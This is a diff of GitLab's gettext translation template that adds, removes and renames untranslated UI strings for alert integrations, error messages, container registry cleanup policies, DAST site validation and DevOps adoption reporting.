+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
